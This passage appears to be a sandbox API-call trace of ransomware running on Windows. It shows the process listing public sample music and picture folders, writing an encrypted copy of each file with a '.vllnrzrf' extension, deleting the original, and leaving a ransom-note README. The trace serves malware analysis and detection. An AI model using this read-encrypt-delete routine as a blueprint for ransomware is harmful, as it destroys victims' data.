Music\\Maid with the Flaxen Hair.mp3", nBufferLength=0x105, lpBuffer=0x1c06e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", lpFilePart=0x0) returned 0x40 [0132.508] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 1 [0132.512] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", lpFilePart=0x0) returned 0x31 [0132.512] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", lpFilePart=0x0) returned 0x31 [0132.512] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", lpFilePart=0x0) returned 0x31 [0132.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0132.512] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0132.513] GetFileType (hFile=0x4e4) returned 0x1 [0132.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0132.513] GetFileType (hFile=0x4e4) returned 0x1 [0132.513] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x1c06e588 | out: lpFileSizeHigh=0x1c06e588*=0x0) returned 0x49e459 [0132.557] ReadFile (in: hFile=0x4e4, lpBuffer=0x12a14a80, nNumberOfBytesToRead=0x49e459, lpNumberOfBytesRead=0x1c06e4b8, lpOverlapped=0x0 | out: lpBuffer=0x12a14a80*, lpNumberOfBytesRead=0x1c06e4b8*=0x49e459, lpOverlapped=0x0) returned 1 [0133.637] CloseHandle (hObject=0x4e4) returned 1 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.vllnrzrf", lpFilePart=0x0) returned 0x3a [0134.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0134.636] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.vllnrzrf" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0134.637] GetFileType (hFile=0x4e4) returned 0x1 [0134.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0134.637] GetFileType (hFile=0x4e4) returned 0x1 [0134.637] WriteFile (in: hFile=0x4e4, lpBuffer=0x145ca558*, nNumberOfBytesToWrite=0x49e659, lpNumberOfBytesWritten=0x1c06e518, lpOverlapped=0x0 | out: lpBuffer=0x145ca558*, lpNumberOfBytesWritten=0x1c06e518*=0x49e659, lpOverlapped=0x0) returned 1 [0134.792] CloseHandle (hObject=0x4e4) returned 1 [0134.990] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", lpFilePart=0x0) returned 0x31 [0134.990] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", nBufferLength=0x105, lpBuffer=0x1c06e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", lpFilePart=0x0) returned 0x31 [0134.990] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 1 [0134.991] CoUninitialize () Thread: id = 127 os_tid = 0xb74 Thread: id = 128 os_tid = 0x120 [0134.999] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0134.999] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1c08df40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0135.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e3a0) returned 1 [0135.000] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1c08de90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0135.000] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\", lpFilePart=0x0) returned 0x19 [0135.000] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x1c08e040 | out: lpFindFileData=0x1c08e040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0135.000] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c08e090 | out: lpFindFileData=0x1c08e090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.000] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c08e090 | out: lpFindFileData=0x1c08e090*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0135.001] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c08e090 | out: lpFindFileData=0x1c08e090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0135.001] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c08e090 | out: lpFindFileData=0x1c08e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9bb82f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0135.001] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c08e090 | out: lpFindFileData=0x1c08e090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0135.001] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0135.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e2f0) returned 1 [0135.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e2b0) returned 1 [0135.004] CoUninitialize () Thread: id = 129 os_tid = 0x9a4 [0135.009] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0135.010] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1c0ce340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0135.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce7a0) returned 1 [0135.010] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1c0ce290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0135.010] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\", nBufferLength=0x105, lpBuffer=0x1c0ce230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\", lpFilePart=0x0) returned 0x29 [0135.010] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x1c0ce440 | out: lpFindFileData=0x1c0ce440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0135.011] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0135.012] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0135.013] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0135.013] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0135.013] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0135.013] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ce490 | out: lpFindFileData=0x1c0ce490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0135.013] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0135.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce6f0) returned 1 [0135.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce6b0) returned 1 [0135.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0135.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0135.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0135.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0135.016] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x524 [0135.021] GetFileType (hFile=0x524) returned 0x1 [0135.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0135.021] GetFileType (hFile=0x524) returned 0x1 [0135.021] GetFileSize (in: hFile=0x524, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0xd6b22 [0135.038] ReadFile (in: hFile=0x524, lpBuffer=0x14a68bf0, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x14a68bf0*, lpNumberOfBytesRead=0x1c0ce758*=0xd6b22, lpOverlapped=0x0) returned 1 [0135.062] CloseHandle (hObject=0x524) returned 1 [0135.158] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.vllnrzrf", lpFilePart=0x0) returned 0x43 [0135.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0135.158] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x524 [0135.158] GetFileType (hFile=0x524) returned 0x1 [0135.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0135.158] GetFileType (hFile=0x524) returned 0x1 [0135.158] WriteFile (in: hFile=0x524, lpBuffer=0x14f70f58*, nNumberOfBytesToWrite=0xd6d22, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x14f70f58*, lpNumberOfBytesWritten=0x1c0ce7b8*=0xd6d22, lpOverlapped=0x0) returned 1 [0135.201] CloseHandle (hObject=0x524) returned 1 [0135.279] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0135.279] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0135.279] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 1 [0135.305] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0135.305] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0135.305] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0135.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0135.305] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x524 [0135.306] GetFileType (hFile=0x524) returned 0x1 [0135.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0135.306] GetFileType (hFile=0x524) returned 0x1 [0135.306] GetFileSize (in: hFile=0x524, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0xce875 [0135.312] ReadFile (in: hFile=0x524, lpBuffer=0x15047cb8, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x15047cb8*, lpNumberOfBytesRead=0x1c0ce758*=0xce875, lpOverlapped=0x0) returned 1 [0135.322] CloseHandle (hObject=0x524) returned 1 [0136.737] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0136.977] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3c [0136.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0136.977] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0136.978] GetFileType (hFile=0x534) returned 0x1 [0136.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0136.978] GetFileType (hFile=0x534) returned 0x1 [0136.978] WriteFile (in: hFile=0x534, lpBuffer=0x12575e40*, nNumberOfBytesToWrite=0xcea75, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x12575e40*, lpNumberOfBytesWritten=0x1c0ce7b8*=0xcea75, lpOverlapped=0x0) returned 1 [0136.998] CloseHandle (hObject=0x534) returned 1 [0137.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0137.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0137.265] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 1 [0137.379] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0137.379] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0137.380] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0137.380] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0137.548] GetFileType (hFile=0x534) returned 0x1 [0137.548] SetThreadErrorMode (dwNewMode=0x0, 